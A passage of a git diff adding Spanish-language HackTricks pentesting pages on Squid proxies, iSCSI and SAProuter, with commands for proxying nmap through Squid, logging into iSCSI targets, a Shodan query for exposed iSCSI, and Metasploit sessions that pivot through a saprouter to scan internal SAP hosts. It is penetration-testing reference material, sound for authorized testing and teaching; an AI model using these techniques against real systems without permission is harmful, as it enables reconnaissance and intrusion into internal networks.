* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
46
network-services-pentesting/3128-pentesting-squid.md
Normal file
46
network-services-pentesting/3128-pentesting-squid.md
Normal file
|
@ -0,0 +1,46 @@
|
|||
# Información Básica
|
||||
|
||||
**Squid** es un proxy web HTTP de almacenamiento en caché y reenvío. Tiene una amplia variedad de usos, incluyendo acelerar un servidor web mediante el almacenamiento en caché de solicitudes repetidas, almacenar en caché búsquedas web, DNS y otras búsquedas de red informática para un grupo de personas que comparten recursos de red, y ayudar a la seguridad filtrando el tráfico. Aunque se utiliza principalmente para HTTP y FTP, Squid incluye soporte limitado para varios otros protocolos, incluyendo Internet Gopher, SSL, TLS y HTTPS. Squid no admite el protocolo SOCKS, a diferencia de Privoxy, con el que se puede utilizar Squid para proporcionar soporte SOCKS. (De [aquí](https://en.wikipedia.org/wiki/Squid\_\(software\))).
|
||||
|
||||
**Puerto predeterminado:** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
## Proxy Web
|
||||
|
||||
Puedes intentar configurar este servicio descubierto como proxy en tu navegador. Sin embargo, si está configurado con autenticación HTTP, se te pedirá un nombre de usuario y una contraseña.
|
||||
```bash
|
||||
# Try yo proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap con proxy
|
||||
|
||||
También se puede intentar abusar del proxy para **escanear puertos internos proxificando nmap**.\
|
||||
Configure proxychains para usar el proxy squid agregando la siguiente línea al final del archivo proxichains.conf: `http 10.10.10.10 3128`
|
||||
|
||||
Luego ejecute nmap con proxychains para **escanear el host desde local**: `proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## Escáner SPOSE
|
||||
|
||||
Alternativamente, se puede utilizar el Escáner de Puertos Abiertos de Squid ([spose.py](https://github.com/aancw/spose)).
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
168
network-services-pentesting/3260-pentesting-iscsi.md
Normal file
168
network-services-pentesting/3260-pentesting-iscsi.md
Normal file
|
@ -0,0 +1,168 @@
|
|||
## Información Básica
|
||||
|
||||
> En informática, **iSCSI** es un acrónimo de **Internet Small Computer Systems Interface**, un estándar de almacenamiento basado en el protocolo de Internet (IP) para vincular instalaciones de almacenamiento de datos. Proporciona acceso a nivel de bloque a dispositivos de almacenamiento mediante el transporte de comandos SCSI sobre una red TCP/IP. iSCSI se utiliza para facilitar transferencias de datos a través de intranets y para administrar almacenamiento a larga distancia. Se puede utilizar para transmitir datos a través de redes de área local (LAN), redes de área amplia (WAN) o Internet y puede permitir el almacenamiento y recuperación de datos independientes de la ubicación.
|
||||
>
|
||||
> El protocolo permite a los clientes (llamados iniciadores) enviar comandos SCSI (CDB) a dispositivos de almacenamiento (objetivos) en servidores remotos. Es un protocolo de red de área de almacenamiento (SAN), que permite a las organizaciones consolidar el almacenamiento en matrices de almacenamiento mientras proporciona a los clientes (como servidores de bases de datos y web) la ilusión de discos SCSI conectados localmente. Principalmente compite con Fibre Channel, pero a diferencia de Fibre Channel tradicional que generalmente requiere cableado dedicado, iSCSI se puede ejecutar a larga distancia utilizando la infraestructura de red existente.
|
||||
|
||||
**Puerto predeterminado:** 3260
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3260/tcp open iscsi?
|
||||
```
|
||||
## Enumeración
|
||||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
Este script indicará si se requiere autenticación.
|
||||
|
||||
### [Fuerza bruta](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [Montar ISCSI en Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**Nota:** Puede suceder que cuando se descubran los objetivos, estos se encuentren listados bajo una dirección IP diferente. Esto suele ocurrir si el servicio iSCSI está expuesto a través de NAT o una IP virtual. En casos como estos, `iscsiadmin` fallará al conectarse. Esto requiere dos ajustes: uno en el nombre del directorio del nodo creado automáticamente por las actividades de descubrimiento, y otro en el archivo `default` contenido dentro de este directorio.
|
||||
|
||||
Por ejemplo, si está intentando conectarse a un objetivo iSCSI en 123.123.123.123 en el puerto 3260. El servidor que expone el objetivo iSCSI está en realidad en 192.168.1.2 pero expuesto a través de NAT. isciadm registrará la dirección _interna_ en lugar de la dirección _pública_:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
Este comando creará un directorio en tu sistema de archivos de la siguiente manera:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
Dentro del directorio, hay un archivo predeterminado con todas las configuraciones necesarias para conectarse al objetivo.
|
||||
|
||||
1. Renombra `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` a `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, cambia la configuración `node.conn[0].address` para que apunte a 123.123.123.123 en lugar de 192.168.1.2. Esto se puede hacer con un comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
||||
Ahora puedes montar el objetivo según las instrucciones del enlace.
|
||||
|
||||
### [Montar ISCSI en Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **Enumeración manual**
|
||||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
En primer lugar, es necesario **descubrir el nombre de los objetivos** detrás de la dirección IP:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
_Nota que mostrará la **IP y el puerto de las interfaces** donde puedes **alcanzar** esos **objetivos**. Incluso puede **mostrar IPs internas o diferentes IPs** de la que usaste._
|
||||
|
||||
Luego **capturas la segunda parte de la cadena impresa de cada línea** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ de la primera línea) y **tratas de iniciar sesión**:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Entonces, puedes **cerrar sesión** usando `–logout`
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Podemos encontrar **más información** al usar simplemente **sin** ningún parámetro `--login`/`--logout`.
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
# BEGIN RECORD 2.0-873
|
||||
node.name = iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
node.tpgt = 1
|
||||
node.startup = manual
|
||||
node.leading_login = No
|
||||
iface.hwaddress = <empty>
|
||||
iface.ipaddress = <empty>
|
||||
iface.iscsi_ifacename = default
|
||||
iface.net_ifacename = <empty>
|
||||
iface.transport_name = tcp
|
||||
iface.initiatorname = <empty>
|
||||
iface.bootproto = <empty>
|
||||
iface.subnet_mask = <empty>
|
||||
iface.gateway = <empty>
|
||||
iface.ipv6_autocfg = <empty>
|
||||
iface.linklocal_autocfg = <empty>
|
||||
iface.router_autocfg = <empty>
|
||||
iface.ipv6_linklocal = <empty>
|
||||
iface.ipv6_router = <empty>
|
||||
iface.state = <empty>
|
||||
iface.vlan_id = 0
|
||||
iface.vlan_priority = 0
|
||||
iface.vlan_state = <empty>
|
||||
iface.iface_num = 0
|
||||
iface.mtu = 0
|
||||
iface.port = 0
|
||||
node.discovery_address = 192.168.xx.xx
|
||||
node.discovery_port = 3260
|
||||
node.discovery_type = send_targets
|
||||
node.session.initial_cmdsn = 0
|
||||
node.session.initial_login_retry_max = 8
|
||||
node.session.xmit_thread_priority = -20
|
||||
node.session.cmds_max = 128
|
||||
node.session.queue_depth = 32
|
||||
node.session.nr_sessions = 1
|
||||
node.session.auth.authmethod = None
|
||||
node.session.auth.username = <empty>
|
||||
node.session.auth.password = <empty>
|
||||
node.session.auth.username_in = <empty>
|
||||
node.session.auth.password_in = <empty>
|
||||
node.session.timeo.replacement_timeout = 120
|
||||
node.session.err_timeo.abort_timeout = 15
|
||||
node.session.err_timeo.lu_reset_timeout = 30
|
||||
node.session.err_timeo.tgt_reset_timeout = 30
|
||||
node.session.err_timeo.host_reset_timeout = 60
|
||||
node.session.iscsi.FastAbort = Yes
|
||||
node.session.iscsi.InitialR2T = No
|
||||
node.session.iscsi.ImmediateData = Yes
|
||||
node.session.iscsi.FirstBurstLength = 262144
|
||||
node.session.iscsi.MaxBurstLength = 16776192
|
||||
node.session.iscsi.DefaultTime2Retain = 0
|
||||
node.session.iscsi.DefaultTime2Wait = 2
|
||||
node.session.iscsi.MaxConnections = 1
|
||||
node.session.iscsi.MaxOutstandingR2T = 1
|
||||
node.session.iscsi.ERL = 0
|
||||
node.conn[0].address = 192.168.xx.xx
|
||||
node.conn[0].port = 3260
|
||||
node.conn[0].startup = manual
|
||||
node.conn[0].tcp.window_size = 524288
|
||||
node.conn[0].tcp.type_of_service = 0
|
||||
node.conn[0].timeo.logout_timeout = 15
|
||||
node.conn[0].timeo.login_timeout = 15
|
||||
node.conn[0].timeo.auth_timeout = 45
|
||||
node.conn[0].timeo.noop_out_interval = 5
|
||||
node.conn[0].timeo.noop_out_timeout = 5
|
||||
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
|
||||
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
|
||||
node.conn[0].iscsi.HeaderDigest = None
|
||||
node.conn[0].iscsi.DataDigest = None
|
||||
node.conn[0].iscsi.IFMarker = No
|
||||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
## **Shodan**
|
||||
|
||||
* `port:3260 AuthMethod`
|
||||
|
||||
## **Referencias**
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Hay un script para automatizar el proceso básico de enumeración de subredes disponible en** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
340
network-services-pentesting/3299-pentesting-saprouter.md
Normal file
340
network-services-pentesting/3299-pentesting-saprouter.md
Normal file
|
@ -0,0 +1,340 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Copia de: [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
# Penetrando SAProuter con Metasploit
|
||||
|
||||
Saprouter es básicamente un proxy inverso para sistemas SAP, que normalmente se sitúa entre Internet y los sistemas SAP internos. Su principal objetivo es permitir el acceso controlado desde hosts en Internet a los sistemas SAP internos, ya que permite un control más fino de los protocolos SAP que un firewall típico.
|
||||
|
||||
Esto significa que saprouter suele acabar expuesto a Internet, permitiendo el puerto TCP entrante 3299 al host saprouter en los firewalls de la organización. Y desde el saprouter, al menos debería ser posible llegar a un servidor SAP interno. Esto lo convierte en un objetivo muy interesante, ya que puede proporcionar una forma de entrar en la red de "alto valor".
|
||||
|
||||
La siguiente figura muestra una configuración básica de red, que utilizaremos para los ejemplos:
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/33923/image1.jpg)
|
||||
|
||||
Primero, comenzaremos realizando un escaneo de servicios SAP de la dirección IP expuesta, utilizando el módulo [`sap_service_discovery`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery), en este caso, 1.2.3.101.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
RHOSTS => 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
|
||||
[*] [SAP] Beginning service Discovery '1.2.3.101'
|
||||
|
||||
[+] 1.2.3.101:3299 - SAP Router OPEN
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
El escaneo nos muestra que el host está ejecutando un SAP router en el puerto TCP esperado 3299. Ahora podemos profundizar e intentar obtener información del saprouter. Si ha sido mal configurado, y a menudo lo están, puede ser posible obtener información interna, como conexiones establecidas a través del saprouter a hosts internos. Para este propósito, usamos el módulo [`sap_router_info_request`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request):
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
RHOSTS => 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
|
||||
[+] 1.2.3.101:3299 - Connected to saprouter
|
||||
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
|
||||
[+] 1.2.3.101:3299 - Got INFO response
|
||||
[+] Working directory : /opt/sap
|
||||
[+] Routtab : ./saprouttab
|
||||
|
||||
[SAP] SAProuter Connection Table for 1.2.3.101
|
||||
===================================================
|
||||
|
||||
Source Destination Service
|
||||
------ ----------- -------
|
||||
1.2.3.12 192.168.1.18 3200
|
||||
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Entonces, a partir de la salida, vemos que alguien en Internet \(1.2.3.12\) está conectado a un host interno \(192.168.1.18\) en el puerto 3200. El puerto 3200 es un puerto SAP común para el protocolo DIAG \(donde la aplicación SAP GUI se conecta a los servidores SAP\). También obtenemos información sobre el esquema de direccionamiento IP interno, es muy probable que estén utilizando al menos la red 192.168.1.0/24, o algún subred en esa red.
|
||||
|
||||
**Enumerando hosts y servicios internos**
|
||||
|
||||
Con esta información, ahora podemos comenzar a escanear la red interna. Dado que saprouter funciona como un proxy, intentaremos conectarnos a él y solicitar conexiones a hosts y puertos internos, y ver las respuestas de saprouter. Esto puede proporcionar más información sobre los hosts internos, servicios y ACL, dependiendo de la configuración de saprouter. Utilizaremos el módulo [`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner) para este propósito.
|
||||
|
||||
El módulo se conecta al saprouter y solicita conexiones a otros hosts \(definidos en la opción TARGETS\) en puertos TCP específicos. Luego analiza las respuestas y comprende si la conexión solicitada es posible o no. Este módulo proporciona algunas opciones que se pueden utilizar:
|
||||
```text
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
||||
INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition)
|
||||
MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP)
|
||||
PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13)
|
||||
RESOLVE local yes Where to resolve TARGETS (accepted: remote, local)
|
||||
RHOST yes SAPRouter address
|
||||
RPORT 3299 yes SAPRouter TCP port
|
||||
TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.
|
||||
```
|
||||
Al menos deberás establecer la dirección IP del saprouter, en el caso de ejemplo, 1.2.3.101. Luego, establece TARGETS con las direcciones de red internas que deseas escanear, y finalmente establece PORTS con los puertos TCP a escanear.
|
||||
|
||||
El módulo también proporciona una opción INSTANCES que permite simplificar la definición de la opción PORTS. Las instalaciones de SAP admiten múltiples instancias, que proporcionan servicios similares, por lo que a cada instancia se le asignan puertos TCP. Por ejemplo, la instancia SAP 00 tendrá el servicio de despachador SAP \(donde se conecta SAP GUI\) en el puerto 3200 y la instancia 01 en el puerto 3201. La opción PORTS admite un "comodín" que es "NN" que se reemplazará con el número de instancia, por lo tanto, se escanearán los puertos para todas las instancias definidas. Entonces, si queremos escanear instancias del 00 al 50, podemos definir las variables INSTANCES y PORTS de esta manera:
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
PORTS => 32NN
|
||||
```
|
||||
Con esta configuración, el módulo escaneará los puertos en el rango de 3200 a 3250.
|
||||
|
||||
En la fuente del módulo, se dispone de información sobre los puertos predeterminados comunes en los sistemas SAP, que ahora utilizaremos para el escaneo:
|
||||
```text
|
||||
msf > use auxiliary/scanner/sap/sap_router_portscanner
|
||||
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
|
||||
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
|
||||
RHOST => 1.2.3.101
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
|
||||
TARGETS => 192.168.1.18
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
|
||||
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 3201 closed SAP Dispatcher sapdp01
|
||||
192.168.1.18 3200 open SAP Dispatcher sapdp00
|
||||
192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Podemos intentar entender por qué algunas conexiones no son permitidas a través del saprouter usando la opción VERBOSE. Cuando VERBOSE está configurado en verdadero, podemos ver la respuesta del saprouter y mapear la ACL definida.
|
||||
|
||||
Ahora escanearemos los hosts 192.168.1.18 y 192.168.1.1, pero solo en el puerto 3200, para ver si podemos conectarnos a ambos despachadores SAP:
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
|
||||
TARGETS => 192.168.1.1,192.168.1.18
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
PORTS => 32NN
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[+] 192.168.1.18:3200 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 3200 open SAP Dispatcher sapdp00
|
||||
|
||||
[*] Scanning 192.168.1.1
|
||||
[-] 192.168.1.1:3200 - blocked by ACL
|
||||
[!] Warning: Service info could be inaccurate
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Como se puede observar, ahora sabemos que no podemos conectarnos a otro host en el puerto 3200, ya que está bloqueado por la ACL definida en el saprouter.
|
||||
|
||||
**Mapeando las ACLs**
|
||||
|
||||
Una cosa interesante sobre el saprouter es que admite dos tipos de conexiones:
|
||||
|
||||
* Nativa: estas conexiones son simplemente conexiones TCP.
|
||||
* Protocolo SAP: estas son conexiones TCP con un giro, el protocolo establece que todos los mensajes comienzan con 4 bytes que indican la longitud del contenido siguiente.
|
||||
|
||||
El protocolo SAP es específico del saprouter y es lo que utiliza la GUI de SAP para conectarse al puerto SAP DIAG a través del saprouter. El protocolo nativo se utiliza para permitir que otros tipos de conexiones pasen a través del saprouter.
|
||||
|
||||
Este módulo permite especificar qué tipo de conexión probar durante el escaneo en la opción MODE. El valor predeterminado es el protocolo SAP, que es el más probable que se utilice en producción. Sin embargo, no es raro encontrar otros servicios permitidos a través del saprouter, donde la ACL permitirá conexiones nativas \(TCP\) a través de él.
|
||||
|
||||
Podemos establecer el MODE en TCP para evaluar si se permiten este tipo de conexiones. Ahora escanearemos los hosts internos, tanto en el puerto 3200 \(SAP DIAG\) como en el 80 \(HTTP\), con VERBOSE establecido en verdadero, en ambas instancias 00 y 01, y veremos qué sucede:
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
MODE => TCP
|
||||
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
PORTS => 80,32NN
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
|
||||
INSTANCES => 00-01
|
||||
msf auxiliary(sap_router_portscanner) > run
|
||||
|
||||
[*] Scanning 192.168.1.18
|
||||
[+] 192.168.1.18:80 - TCP OPEN
|
||||
[-] 192.168.1.18:3200 - blocked by ACL
|
||||
[+] 192.168.1.18:3201 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
Portscan Results
|
||||
================
|
||||
|
||||
Host Port State Info
|
||||
---- ---- ----- ----
|
||||
192.168.1.18 80 open
|
||||
192.168.1.18 3201 open SAP Dispatcher sapdp01
|
||||
|
||||
[*] Scanning 192.168.1.1
|
||||
[-] 192.168.1.1:3200 - blocked by ACL
|
||||
[+] 192.168.1.1:3201 - TCP OPEN
|
||||
[+] 192.168.1.1:80 - TCP OPEN
|
||||
[!] Warning: Service info could be inaccurate
|
||||
|
||||
